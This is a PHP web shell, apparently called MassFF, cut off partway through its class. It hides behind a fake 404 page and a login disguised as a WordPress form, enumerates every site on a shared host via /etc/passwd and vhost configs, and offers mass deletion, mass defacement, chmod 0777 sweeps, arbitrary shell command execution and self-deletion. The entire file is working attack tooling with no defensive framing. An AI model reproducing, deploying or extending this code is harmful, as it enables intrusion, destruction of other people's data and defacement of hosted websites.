<?php
@ob_start();
@ini_set('display_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '256M');
@ignore_user_abort(true);

@header('X-Powered-By: PHP/' . PHP_VERSION);
@header('X-LiteSpeed-Cache-Control: no-cache, no-store');
@header('X-LiteSpeed-Purge: *');
@header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0');
@header('Pragma: no-cache');
@header('Expires: 0');
@header('X-Turbo-Charged-By: LiteSpeed');
@ini_set('litespeed.cache.enabled', '0');
@ini_set('litespeed.cache.no_vary', '1');

if (function_exists('litespeed_purge_all')) {
    @litespeed_purge_all();
}

if (!defined('ABSPATH')) {
    define('ABSPATH', dirname(__FILE__) . '/');
}

if (function_exists('session_status')) {
    if (session_status() === PHP_SESSION_NONE) {
        @session_start();
    }
} else {
    if (!isset($_SESSION)) {
        @session_start();
    }
}

if (!function_exists('password_verify')) {
    function password_verify($password, $hash)
    {
        if (function_exists('crypt')) {
            return crypt($password, $hash) === $hash;
        }
        return md5($password) === $hash;
    }
}

if (!function_exists('password_hash')) {
    if (!defined('PASSWORD_BCRYPT')) {
        define('PASSWORD_BCRYPT', 1);
    }
    if (!defined('PASSWORD_DEFAULT')) {
        define('PASSWORD_DEFAULT', 1);
    }
    function password_hash($password, $algo = 1, $options = array())
    {
        if (function_exists('crypt') && defined('CRYPT_BLOWFISH') && CRYPT_BLOWFISH) {
            $cost = isset($options['cost']) ? $options['cost'] : 10;
            $salt = '$2y$' . str_pad($cost, 2, '0', STR_PAD_LEFT) . '$';
            if (function_exists('openssl_random_pseudo_bytes')) {
                $salt .= substr(strtr(base64_encode(openssl_random_pseudo_bytes(16)), '+', '.'), 0, 22);
            } else {
                $chars = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
                for ($i = 0; $i < 22; $i++) {
                    $salt .= $chars[mt_rand(0, strlen($chars) - 1)];
                }
            }
            return crypt($password, $salt);
        }
        return md5($password);
    }
}

if (!function_exists('json_encode')) {
    function json_encode($data)
    {
        if (is_null($data)) return 'null';
        if (is_bool($data)) return $data ? 'true' : 'false';
        if (is_int($data) || is_float($data)) return (string) $data;
        if (is_string($data)) return '"' . addslashes($data) . '"';
        if (is_array($data)) {
            $isAssoc = false;
            $i = 0;
            foreach ($data as $k => $v) {
                if ($k !== $i) {
                    $isAssoc = true;
                    break;
                }
                $i++;
            }
            $parts = array();
            if ($isAssoc) {
                foreach ($data as $k => $v) {
                    $parts[] = json_encode((string) $k) . ':' . json_encode($v);
                }
                return '{' . implode(',', $parts) . '}';
            } else {
                foreach ($data as $v) {
                    $parts[] = json_encode($v);
                }
                return '[' . implode(',', $parts) . ']';
            }
        }
        return '""';
    }
}

if (!function_exists('json_decode')) {
    function json_decode($json, $assoc = false)
    {
        $json = trim($json);
        if ($json === 'null') return null;
        if ($json === 'true') return true;
        if ($json === 'false') return false;
        return null;
    }
}

function _h($str)
{
    if (defined('ENT_QUOTES')) {
        return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
    }
    return htmlspecialchars($str);
}

define('PASSWORD_HASH_VAL', '$2y$10$vAxFEBvxZVoPZ99RPwCECOfr/M4YbRb/LdJ89nKDPhDa539sKYAUK');

if (isset($_GET['logout'])) {
    @session_destroy();
    @ob_end_clean();
    if (!headers_sent()) {
        header('HTTP/1.1 302 Found');
        header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    } else {
        echo '<script>window.location="' . strtok($_SERVER['REQUEST_URI'], '?') . '";</script>';
    }
    exit;
}

$login_error = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['wp-submit'])) {
    $password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
    if (password_verify($password, PASSWORD_HASH_VAL)) {
        $_SESSION['massff_logged_in'] = true;
        $_SESSION['massff_login_time'] = time();
        @ob_end_clean();
        if (!headers_sent()) {
            header('HTTP/1.1 302 Found');
            header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
        } else {
            echo '<script>window.location="' . strtok($_SERVER['REQUEST_URI'], '?') . '";</script>';
        }
        exit;
    } else {
        $login_error = true;
    }
}

if (!isset($_SESSION['massff_logged_in']) || $_SESSION['massff_logged_in'] !== true) {
    @ob_end_clean();

    if ((!isset($_GET['key']) || md5($_GET['key']) !== '4cf4af71e1d0363b490151aa99957a54') && !$login_error) {
        if (!headers_sent()) {
            header('HTTP/1.1 404 Not Found');
            header('Content-Type: text/html; charset=iso-8859-1');
        }
        echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
        echo '<html><head>' . "\n";
        echo '<title>404 Not Found</title>' . "\n";
        echo '</head><body>' . "\n";
        echo '<h1>Not Found</h1>' . "\n";
        echo '<p>The requested URL was not found on this server.</p>' . "\n";
        echo '<hr>' . "\n";
        echo '<address>' . _h(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Apache/2.4.62 (Debian)') . ' Server at ' . _h(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost') . ' Port ' . _h(isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : '80') . '</address>' . "\n";
        echo '</body></html>';
        exit;
    }

    if (!headers_sent()) {
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=UTF-8');
    }
    $loginAction = strtok($_SERVER['REQUEST_URI'], '?') . '?key=xr00t';
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="robots" content="noindex,nofollow">
        <title>Login</title>
        <link rel="icon" href="data:,">
        <style>
            @import url('https://fonts.googleapis.com/css2?family=Space+Mono:wght@400;700&family=Inter:wght@400;600;700;800;900&display=swap');
            *{margin:0;padding:0;box-sizing:border-box}
            body{font-family:'Inter',sans-serif;background:#14141f;min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}
            body::before{content:'';position:fixed;top:0;left:0;right:0;bottom:0;background:radial-gradient(circle at 20% 50%,rgba(120,90,220,0.08) 0%,transparent 50%),radial-gradient(circle at 80% 20%,rgba(70,160,220,0.06) 0%,transparent 50%);pointer-events:none}
            .lf-wrap{position:relative;z-index:1;width:380px;max-width:100%;animation:popIn 0.5s cubic-bezier(0.175,0.885,0.32,1.275)}
            @keyframes popIn{0%{opacity:0;transform:scale(0.9) translateY(20px)}100%{opacity:1;transform:scale(1) translateY(0)}}
            .lf-logo{width:64px;height:64px;background:#785adc;border:3px solid #a0a4b8;box-shadow:4px 4px 0 #000;display:flex;align-items:center;justify-content:center;margin:0 auto 20px;transition:transform 0.2s,box-shadow 0.2s}
            .lf-logo:hover{transform:translate(-2px,-2px);box-shadow:6px 6px 0 #000}
            .lf-logo svg{width:28px;height:28px;stroke:#fff;fill:none;stroke-width:2;stroke-linecap:round;stroke-linejoin:round}
            .lf-card{background:#1e1f33;border:3px solid #a0a4b8;box-shadow:6px 6px 0 #000;padding:32px 28px;transition:transform 0.2s,box-shadow 0.2s}
            .lf-card:hover{transform:translate(-2px,-2px);box-shadow:8px 8px 0 #000}
            .lf-error{background:#2a1525;border:3px solid #d96b6b;box-shadow:3px 3px 0 #000;padding:12px 16px;margin-bottom:20px;animation:shakeX 0.5s;display:flex;align-items:flex-start;gap:10px}
            .lf-error svg{width:18px;height:18px;stroke:#d96b6b;fill:none;stroke-width:2;flex-shrink:0;margin-top:1px}
            .lf-error-text strong{color:#d96b6b;font-size:13px;display:block;margin-bottom:2px}
            .lf-error-text span{color:#c8a0a0;font-size:12px}
            @keyframes shakeX{0%,100%{transform:translateX(0)}20%,60%{transform:translateX(-6px)}40%,80%{transform:translateX(6px)}}
            .lf-group{margin-bottom:18px}
            .lf-group label{display:block;font-size:12px;font-weight:700;color:#a0a4b8;text-transform:uppercase;letter-spacing:0.8px;margin-bottom:6px}
            .lf-group input{width:100%;background:#14141f;border:3px solid #3a3c54;padding:12px 14px;font-size:15px;color:#e0e2f0;font-family:'Space Mono',monospace;outline:none;transition:border-color 0.2s,box-shadow 0.2s}
            .lf-group input:focus{border-color:#785adc;box-shadow:3px 3px 0 rgba(120,90,220,0.3)}
            .lf-group input::placeholder{color:#3a3c54}
            .lf-btn{width:100%;background:#785adc;border:3px solid #a0a4b8;box-shadow:4px 4px 0 #000;color:#fff;font-size:14px;font-weight:800;text-transform:uppercase;letter-spacing:1px;padding:14px;cursor:pointer;font-family:'Inter',sans-serif;transition:all 0.15s;margin-top:6px}
            .lf-btn:hover{background:#6a4ec8;transform:translate(-2px,-2px);box-shadow:6px 6px 0 #000}
            .lf-btn:active{transform:translate(2px,2px);box-shadow:1px 1px 0 #000}
            .lf-spinner{display:none;text-align:center;padding:20px}
            .lf-spinner.show{display:block}
            .lf-spinner-dot{display:inline-block;width:10px;height:10px;border:2px solid #a0a4b8;background:#785adc;box-shadow:2px 2px 0 #000;margin:0 3px;animation:lfBounce 0.6s ease-in-out infinite alternate}
            .lf-spinner-dot:nth-child(2){background:#d97ba0;animation-delay:0.15s}
            .lf-spinner-dot:nth-child(3){background:#6bb88a;animation-delay:0.3s}
            @keyframes lfBounce{0%{transform:translateY(0)}100%{transform:translateY(-12px)}}
            @media(max-width:440px){.lf-wrap{width:100%}.lf-card{padding:24px 20px}}
        </style>
    </head>
    <body>
        <div class="lf-wrap">
            <div class="lf-logo"><svg viewBox="0 0 24 24"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg></div>
            <div class="lf-card">
                <div class="lf-spinner" id="lfSpinner">
                    <span class="lf-spinner-dot"></span>
                    <span class="lf-spinner-dot"></span>
                    <span class="lf-spinner-dot"></span>
                </div>
                <?php if ($login_error): ?>
                    <div class="lf-error">
                        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
                        <div class="lf-error-text">
                            <strong>Authentication Failed</strong>
                            <span>Invalid password. Please try again.</span>
                        </div>
                    </div>
                <?php endif; ?>
                <form method="post" action="<?php echo _h($loginAction); ?>" autocomplete="off" id="lfForm">
                    <div class="lf-group">
                        <label for="user_login">Username</label>
                        <input type="text" id="user_login" name="log" placeholder="admin" autocomplete="off" autocapitalize="off">
                    </div>
                    <div class="lf-group">
                        <label for="user_pass">Password</label>
                        <input type="password" id="user_pass" name="pwd" placeholder="&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;" autocomplete="off" autofocus>
                    </div>
                    <button type="submit" name="wp-submit" value="1" class="lf-btn">Sign In</button>
                </form>
            </div>
        </div>
        <script>(function(){var f=document.getElementById('lfForm');var s=document.getElementById('lfSpinner');f.addEventListener('submit',function(){s.className='lf-spinner show';});})();</script>
    </body>
    </html>
    <?php
    exit;
}

class MassFF
{
    var $output = array();

    var $webSubDirs = array(
        'public_html', 'htdocs', 'www', 'httpdocs', 'web',
        'html', 'public', 'webroot', 'wwwroot', 'site', 'docroot'
    );

    var $baseScanPaths = array(
        '/home', '/var/www', '/var/www/vhosts', '/var/www/clients',
        '/srv/www', '/web', '/usr/local/lsws', '/opt/lampp', '/usr/share/nginx'
    );

    function addOutput($message, $type)
    {
        if (empty($type)) {
            $type = 'info';
        }
        $this->output[] = array(
            'time' => date('H:i:s'),
            'type' => $type,
            'message' => $message
        );
    }

    function getOutput()
    {
        return $this->output;
    }

    function isDomainName($name)
    {
        return (bool) preg_match('/^[a-z0-9]([a-z0-9\-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9\-]*[a-z0-9])?)*\.[a-z]{2,}$/i', $name);
    }

    function addWebDir(&$dirs, $path)
    {
        $real = @realpath($path);
        if ($real && is_dir($real) && is_readable($real)) {
            $dirs[$real] = true;
            return true;
        }
        return false;
    }

    function scanForDomainDirs($baseDir, &$dirs, $depth, $maxDepth)
    {
        if ($depth === null) $depth = 0;
        if ($maxDepth === null) $maxDepth = 3;
        if ($depth > $maxDepth || !is_dir($baseDir) || !is_readable($baseDir)) return;
        $dh = @opendir($baseDir);
        if (!$dh) return;
        while (($item = readdir($dh)) !== false) {
            if ($item === '.' || $item === '..') continue;
            $fullPath = $baseDir . '/' . $item;
            if (!is_dir($fullPath)) continue;
            if ($this->isDomainName($item)) {
                $foundSub = false;
                for ($i = 0; $i < count($this->webSubDirs); $i++) {
                    if ($this->addWebDir($dirs, $fullPath . '/' . $this->webSubDirs[$i])) {
                        $foundSub = true;
                    }
                }
                if (!$foundSub) {
                    $this->addWebDir($dirs, $fullPath);
                }
            } else {
                if ($depth < $maxDepth) {
                    $this->scanForDomainDirs($fullPath, $dirs, $depth + 1, $maxDepth);
                }
            }
        }
        closedir($dh);
    }

    function detectWebDirs()
    {
        $dirs = array();
        for ($i = 0; $i < count($this->baseScanPaths); $i++) {
            if (is_dir($this->baseScanPaths[$i])) {
                $this->scanForDomainDirs($this->baseScanPaths[$i], $dirs, 0, 3);
            }
        }

        $staticGlobs = array(
            '/home/*/public_html', '/home/*/htdocs', '/home/*/www',
            '/var/www/html', '/var/www/*/html',
            '/usr/local/apache/htdocs', '/usr/share/nginx/html', '/opt/lampp/htdocs'
        );
        for ($i = 0; $i < count($staticGlobs); $i++) {
            $found = @glob($staticGlobs[$i], GLOB_ONLYDIR);
            if ($found) {
                for ($j = 0; $j < count($found); $j++) {
                    $this->addWebDir($dirs, $found[$j]);
                }
            }
        }

        $etcPasswd = @file_get_contents('/etc/passwd');
        if ($etcPasswd) {
            $lines = explode("\n", $etcPasswd);
            for ($i = 0; $i < count($lines); $i++) {
                $parts = explode(':', $lines[$i]);
                if (isset($parts[5]) && !empty($parts[5]) && is_dir($parts[5])) {
                    $homeDir = $parts[5];
                    for ($j = 0; $j < count($this->webSubDirs); $j++) {
                        $this->addWebDir($dirs, $homeDir . '/' . $this->webSubDirs[$j]);
                    }
                    $scanSubs = array('domains', 'sites', 'vhosts', 'www');
                    for ($j = 0; $j < count($scanSubs); $j++) {
                        $subPath = $homeDir . '/' . $scanSubs[$j];
                        if (is_dir($subPath)) {
                            $this->scanForDomainDirs($subPath, $dirs, 0, 2);
                        }
                    }
                }
            }
        }

        $vhostsConf = array(
            '/etc/apache2/sites-enabled', '/etc/httpd/conf.d',
            '/etc/nginx/sites-enabled', '/usr/local/lsws/conf/vhosts',
            '/usr/local/apache/conf/vhosts'
        );
        for ($i = 0; $i < count($vhostsConf); $i++) {
            if (!is_dir($vhostsConf[$i])) continue;
            $cdh = @opendir($vhostsConf[$i]);
            if (!$cdh) continue;
            while (($cf = readdir($cdh)) !== false) {
                if ($cf === '.' || $cf === '..') continue;
                $confContent = @file_get_contents($vhostsConf[$i] . '/' . $cf);
                if (!$confContent) continue;
                if (preg_match_all('/(?:DocumentRoot|root|docRoot)\s+["\']?([^\s"\';}\]+)/i', $confContent, $matches)) {
                    for ($j = 0; $j < count($matches[1]); $j++) {
                        $this->addWebDir($dirs, $matches[1][$j]);
                    }
                }
            }
            closedir($cdh);
        }

        return array_keys($dirs);
    }

    function selfDelete()
    {
        $file = __FILE__;
        $methods = array();

        if (@unlink($file)) {
            return array('success' => true, 'method' => 'unlink');
        }
        $methods[] = 'unlink';

        if (@chmod($file, 0777) && @unlink($file)) {
            return array('success' => true, 'method' => 'chmod+unlink');
        }
        $methods[] = 'chmod+unlink';

        $cmds = array('exec', 'shell_exec', 'system', 'passthru', 'proc_open');
        for ($i = 0; $i < count($cmds); $i++) {
            $fn = $cmds[$i];
            if (!function_exists($fn)) continue;
            $cmd = "rm -f " . escapeshellarg($file) . " 2>&1";
            switch ($fn) {
                case 'exec':
                    @exec($cmd, $out, $ret);
                    if ($ret === 0 && !file_exists($file)) return array('success' => true, 'method' => 'exec');
                    break;
                case 'shell_exec':
                    @shell_exec($cmd);
                    if (!file_exists($file)) return array('success' => true, 'method' => 'shell_exec');
                    break;
                case 'system':
                    @system($cmd, $ret);
                    if ($ret === 0 && !file_exists($file)) return array('success' => true, 'method' => 'system');
                    break;
                case 'passthru':
                    ob_start();
                    @passthru($cmd);
                    ob_end_clean();
                    if (!file_exists($file)) return array('success' => true, 'method' => 'passthru');
                    break;
                case 'proc_open':
                    $desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
                    $proc = @proc_open($cmd, $desc, $pipes);
                    if (is_resource($proc)) {
                        fclose($pipes[0]);
                        fclose($pipes[1]);
                        fclose($pipes[2]);
                        proc_close($proc);
                        if (!file_exists($file)) return array('success' => true, 'method' => 'proc_open');
                    }
                    break;
            }
            $methods[] = $fn;
        }

        @file_put_contents($file, '<?php @unlink(__FILE__);');
        if (filesize($file) < 50) {
            return array('success' => true, 'method' => 'overwrite(self-destruct)');
        }

        return array('success' => false, 'method' => 'all failed: ' . implode(', ', $methods));
    }

    function findByNameDepth($dir, $name, $type, $currentDepth, $maxDepth)
    {
        if ($currentDepth === null) $currentDepth = 0;
        if ($maxDepth === null) $maxDepth = 999;
        $results = array();
        if (!is_dir($dir)) return $results;
        $handle = @opendir($dir);
        if (!$handle) return $results;
        while (($item = readdir($handle)) !== false) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_file($path) && ($type === 'file' || $type === 'all')) {
                if ($item === $name || @fnmatch($name, $item)) {
                    $results[] = $path;
                }
            }
            if (is_dir($path)) {
                if (($type === 'dir' || $type === 'all') && ($item === $name || @fnmatch($name, $item))) {
                    $results[] = $path;
                }
                if ($currentDepth < $maxDepth) {
                    $sub = $this->findByNameDepth($path, $name, $type, $currentDepth + 1, $maxDepth);
                    for ($i = 0; $i < count($sub); $i++) {
                        $results[] = $sub[$i];
                    }
                }
            }
        }
        closedir($handle);
        return $results;
    }

    function massDeleteFiles($dir, $filename, $maxDepth)
    {
        if ($maxDepth === null) $maxDepth = 999;
        $found = $this->findByNameDepth($dir, $filename, 'file', 0, $maxDepth);
        $this->addOutput("Scanning depth: $maxDepth", 'info');
        $deleted = 0;
        $failed = 0;
        for ($i = 0; $i < count($found); $i++) {
            if (@unlink($found[$i]) || (@chmod($found[$i], 0777) && @unlink($found[$i]))) {
                $this->addOutput("Deleted: " . $found[$i], 'success');
                $deleted++;
            } else {
                $this->addOutput("Failed: " . $found[$i], 'error');
                $failed++;
            }
        }
        $this->addOutput("Total: " . count($found) . " | Deleted: $deleted | Failed: $failed", 'info');
        return array('found' => count($found), 'deleted' => $deleted, 'failed' => $failed);
    }

    function massDeleteFolders($dir, $foldername, $maxDepth)
    {
        if ($maxDepth === null) $maxDepth = 999;
        $found = $this->findByNameDepth($dir, $foldername, 'dir', 0, $maxDepth);
        $this->addOutput("Scanning depth: $maxDepth", 'info');
        $this->_sortByDepth($found);
        $deleted = 0;
        $failed = 0;
        for ($i = 0; $i < count($found); $i++) {
            if ($this->deleteDirectoryRecursive($found[$i])) {
                $deleted++;
            } else {
                $failed++;
            }
        }
        $this->addOutput("Total: " . count($found) . " | Deleted: $deleted | Failed: $failed", 'info');
        return array('found' => count($found), 'deleted' => $deleted, 'failed' => $failed);
    }

    function _sortByDepth(&$arr)
    {
        $n = count($arr);
        for ($i = 0; $i < $n - 1; $i++) {
            for ($j = 0; $j < $n - $i - 1; $j++) {
                $depthA = substr_count($arr[$j], DIRECTORY_SEPARATOR);
                $depthB = substr_count($arr[$j + 1], DIRECTORY_SEPARATOR);
                if ($depthB > $depthA) {
                    $tmp = $arr[$j];
                    $arr[$j] = $arr[$j + 1];
                    $arr[$j + 1] = $tmp;
                }
            }
        }
    }

    function deleteDirectoryRecursive($dir)
    {
        $dir = rtrim($dir, '/\\');
        $handle = @opendir($dir);
        if ($handle) {
            while (($item = readdir($handle)) !== false) {
                if ($item === '.' || $item === '..') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $item;
                if (is_dir($path)) {
                    $this->deleteDirectoryRecursive($path);
                } else {
                    @chmod($path, 0777);
                    @unlink($path);
                }
            }
            closedir($handle);
            @chmod($dir, 0777);
            if (@rmdir($dir)) {
                $this->addOutput("Deleted: $dir", 'success');
                return true;
            }
        }
        if (function_exists('exec')) {
            @exec("rm -rf " . escapeshellarg($dir) . " 2>&1", $out, $ret);
            if ($ret === 0 && !file_exists($dir)) {
                $this->addOutput("Deleted: $dir", 'success');
                return true;
            }
        }
        $this->addOutput("Failed: $dir", 'error');
        return false;
    }

    function collectDirs($dir, $currentDepth, $maxDepth)
    {
        if ($currentDepth === null) $currentDepth = 0;
        if ($maxDepth === null) $maxDepth = 0;
        $result = array($dir);
        if ($maxDepth > 0 && $currentDepth < $maxDepth && is_dir($dir) && is_readable($dir)) {
            $dh = @opendir($dir);
            if ($dh) {
                while (($item = readdir($dh)) !== false) {
                    if ($item === '.' || $item === '..') continue;
                    $path = $dir . DIRECTORY_SEPARATOR . $item;
                    if (is_dir($path)) {
                        $sub = $this->collectDirs($path, $currentDepth + 1, $maxDepth);
                        for ($i = 0; $i < count($sub); $i++) {
                            $result[] = $sub[$i];
                        }
                    }
                }
                closedir($dh);
            }
        }
        return $result;
    }

    function deleteAll($dir, $filesOnly, $dirsOnly, $maxDepth)
    {
        if ($maxDepth === null) $maxDepth = 999;
        $this->addOutput("Scanning depth: $maxDepth", 'info');
        $dirs = $this->collectDirs($dir, 0, $maxDepth);
        $totalDeleted = 0;
        $totalFailed = 0;
        for ($i = 0; $i < count($dirs); $i++) {
            $r = $this->deleteAllSingle($dirs[$i], $filesOnly, $dirsOnly);
            $totalDeleted += $r['deleted'];
            $totalFailed += $r['failed'];
        }
        return array('deleted' => $totalDeleted, 'failed' => $totalFailed);
    }

    function deleteAllSingle($dir, $filesOnly, $dirsOnly)
    {
        $deleted = 0;
        $failed = 0;
        if (!is_dir($dir)) {
            if (!file_exists($dir)) return array('deleted' => 0, 'failed' => 0);
            $this->addOutput("Not a directory: $dir", 'error');
            return array('deleted' => 0, 'failed' => 1);
        }
        $handle = @opendir($dir);
        if ($handle) {
            while (($item = readdir($handle)) !== false) {
                if ($item === '.' || $item === '..') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $item;
                if (is_file($path) && !$dirsOnly) {
                    if (@unlink($path) || (@chmod($path, 0777) && @unlink($path))) {
                        $this->addOutput("Deleted: $path", 'success');
                        $deleted++;
                    } else {
                        $this->addOutput("Failed: $path", 'error');
                        $failed++;
                    }
                } elseif (is_dir($path) && !$filesOnly) {
                    if ($this->deleteDirectoryRecursive($path)) {
                        $deleted++;
                    } else {
                        $failed++;
                    }
                }
            }
            closedir($handle);
        }
        $this->addOutput("Deleted: $deleted | Failed: $failed", 'info');
        return array('deleted' => $deleted, 'failed' => $failed);
    }

    function massDeface($dir, $filename, $content, $method, $maxDepth)
    {
        if (empty($method)) $method = 'auto';
        if ($maxDepth === null) $maxDepth = 0;
        $dirs = $this->collectDirs($dir, 0, $maxDepth);
        $this->addOutput("Found " . count($dirs) . " directories (depth: $maxDepth)", 'info');
        $created = 0;
        $failed = 0;
        for ($i = 0; $i < count($dirs); $i++) {
            $targetPath = $dirs[$i] . DIRECTORY_SEPARATOR . $filename;
            if ($this->writeFile($targetPath, $content, $method)) {
                $this->addOutput("Created: $targetPath", 'success');
                $created++;
            } else {
                $this->addOutput("Failed: $targetPath", 'error');
                $failed++;
            }
        }
        $this->addOutput("Created: $created | Failed: $failed | Dirs: " . count($dirs), 'info');
        return array('created' => $created, 'failed' => $failed, 'dirs' => count($dirs));
    }

    function writeFile($path, $content, $method)
    {
        if (empty($method)) $method = 'file_put_contents';
        $dir = dirname($path);
        if (!is_dir($dir)) return false;

        // Try to make the directory writable
        @chmod($dir, 0777);

        switch ($method) {
            case 'file_put_contents':
                if (function_exists('file_put_contents')) {
                    $written = @file_put_contents($path, $content);
                    if ($written !== false) {
                        @chmod($path, 0644);
                        return true;
                    }
                }
                return false;

            case 'fopen':
                $fp = @fopen($path, 'wb');
                if ($fp) {
                    $written = @fwrite($fp, $content);
                    @fclose($fp);
                    if ($written !== false) {
                        @chmod($path, 0644);
                        return true;
                    }
                }
                return false;

            case 'move_uploaded':
                $tmpDir = $this->getTempDir();
                $tmpFile = @tempnam($tmpDir, 'mff');
                if ($tmpFile) {
                    // Tulis konten ke tmpfile
                    $fh = @fopen($tmpFile, 'wb');
                    if ($fh) {
                        @fwrite($fh, $content);
                        @fclose($fh);
                        $tmpWritten = true;
                    } else {
                        $tmpWritten = (@file_put_contents($tmpFile, $content) !== false);
                    }
                    if ($tmpWritten) {
                        if (@rename($tmpFile, $path)) {
                            @chmod($path, 0644);
                            return true;
                        }
                        if (@copy($tmpFile, $path)) {
                            @unlink($tmpFile);
                            @chmod($path, 0644);
                            return true;
                        }
                    }
                    @unlink($tmpFile);
                }
                return false;

            case 'auto':
                $autoMethods = array('file_put_contents', 'fopen', 'move_uploaded');
                foreach ($autoMethods as $m) {
                    if ($this->writeFile($path, $content, $m)) return true;
                }
                // Last resort: force chmod 777 lalu coba lagi
                @chmod($dir, 0777);
                foreach ($autoMethods as $m) {
                    if ($this->writeFile($path, $content, $m)) return true;
                }
                return false;

            default:
                return $this->writeFile($path, $content, 'file_put_contents');
        }
    }

    function writeFileFallback($path, $content)
    {
        @chmod(dirname($path), 0777);
        $fp = @fopen($path, 'w');
        if ($fp) {
            $w = @fwrite($fp, $content);
            @fclose($fp);
            if ($w !== false) {
                @chmod($path, 0644);
                @chmod(dirname($path), 0755);
                return true;
            }
        }
        @chmod(dirname($path), 0755);
        return false;
    }

    function chmodByName($dir, $name, $perms, $type)
    {
        if (empty($type)) $type = 'all';
        $found = $this->findByNameDepth($dir, $name, $type, 0, 999);
        $success = 0;
        $failed = 0;
        $perm = $this->convertPermissions($perms);
        if ($perm === false) {
            $this->addOutput("Invalid permission: $perms", 'error');
            return array('success' => 0, 'failed' => 0);
        }
        for ($i = 0; $i < count($found); $i++) {
            if (@chmod($found[$i], $perm)) {
                $this->addOutput("Chmod " . $found[$i] . " => " . decoct($perm), 'success');
                $success++;
            } else {
                $this->addOutput("Failed: " . $found[$i], 'error');
                $failed++;
            }
        }
        $this->addOutput("Success: $success | Failed: $failed", 'info');
        return array('success' => $success, 'failed' => $failed);
    }

    function chmodAll($dir, $perms, $filesOnly, $dirsOnly)
    {
        $count = 0;
        $perm = $this->convertPermissions($perms);
        if ($perm === false || !is_dir($dir)) return 0;
        if (!$filesOnly && @chmod($dir, $perm)) $count++;
        $handle = @opendir($dir);
        if ($handle) {
            while (($item = readdir($handle)) !== false) {
                if ($item === '.' || $item === '..') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $item;
                if (is_dir($path)) {
                    $count += $this->chmodAll($path, $perms, $filesOnly, $dirsOnly);
                } else {
                    if (!$dirsOnly && @chmod($path, $perm)) $count++;
                }
            }
            closedir($handle);
        }
        return $count;
    }

    function convertPermissions($perms)
    {
        if (is_numeric($perms) && preg_match('/^0?[0-7]{3,4}$/', $perms)) {
            return octdec($perms);
        }
        return false;
    }

    function listDirectory($dir)
    {
        $items = array('dirs' => array(), 'files' => array());
        if (!is_dir($dir)) return $items;
        $handle = @opendir($dir);
        if ($handle) {
            while (($item = readdir($handle)) !== false) {
                if ($item === '.' || $item === '..') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $item;
                $perms = @fileperms($path);
                $info = array(
                    'name' => $item,
                    'path' => $path,
                    'perms' => $perms ? substr(sprintf('%o', $perms), -4) : 'N/A',
                    'size' => is_file($path) ? @filesize($path) : 0
                );
                if (is_dir($path)) {
                    $items['dirs'][] = $info;
                } else {
                    $items['files'][] = $info;
                }
            }
            closedir($handle);
        }
        return $items;
    }

    function executeCommand($cmd)
    {
        $output = '';
        $cmd = trim($cmd);
        if (empty($cmd)) return 'No command provided.';

        if (function_exists('proc_open')) {
            $desc = array(
                0 => array('pipe', 'r'),
                1 => array('pipe', 'w'),
                2 => array('pipe', 'w')
            );
            $proc = @proc_open($cmd, $desc, $pipes);
            if (is_resource($proc)) {
                fclose($pipes[0]);
                $output = @stream_get_contents($pipes[1]);
                $stderr = @stream_get_contents($pipes[2]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($proc);
                if ($stderr) $output .= "\n" . $stderr;
                return $output;
            }
        }

        if (function_exists('exec')) {
            @exec($cmd . ' 2>&1', $out, $ret);
            return implode("\n", $out);
        }

        if (function_exists('shell_exec')) {
            $result = @shell_exec($cmd . ' 2>&1');
            if ($result !== null) return $result;
        }

        if (function_exists('system')) {
            ob_start();
            @system($cmd . ' 2>&1');
            return ob_get_clean();
        }

        if (function_exists('passthru')) {
            ob_start();
            @passthru($cmd . ' 2>&1');
            return ob_get_clean();
        }

        if (function_exists('popen')) {
            $handle = @popen($cmd . ' 2>&1', 'r');
            if ($handle) {
                $output = '';
                while (!feof($handle)) {
                    $output .= fread($handle, 4096);
                }
                pclose($handle);
                return $output;
            }
        }

        return '[!] No execution function available. Disabled functions: ' . @ini_get('disable_functions');
    }

    function getDisabledFunctions()
    {
        $disabled = @ini_get('disable_functions');
        if (!$disabled) return array();
        $list = explode(',', $disabled);
        $result = array();
        for ($i = 0; $i < count($list); $i++) {
            $fn = trim($list[$i]);
            if (!empty($fn)) $result[] = $fn;
        }
        return $result;
    }

    function getAvailableExecFunctions()
    {
        $fns = array('exec', 'shell_exec', 'system', 'passthru', 'proc_open', 'popen');
        $available = array();
        for ($i = 0; $i < count($fns); $i++) {
            if (function_exists($fns[$i])) {
                $available[] = $fns[$i];
            }
        }
        return $available;
    }

    function getTempDir()
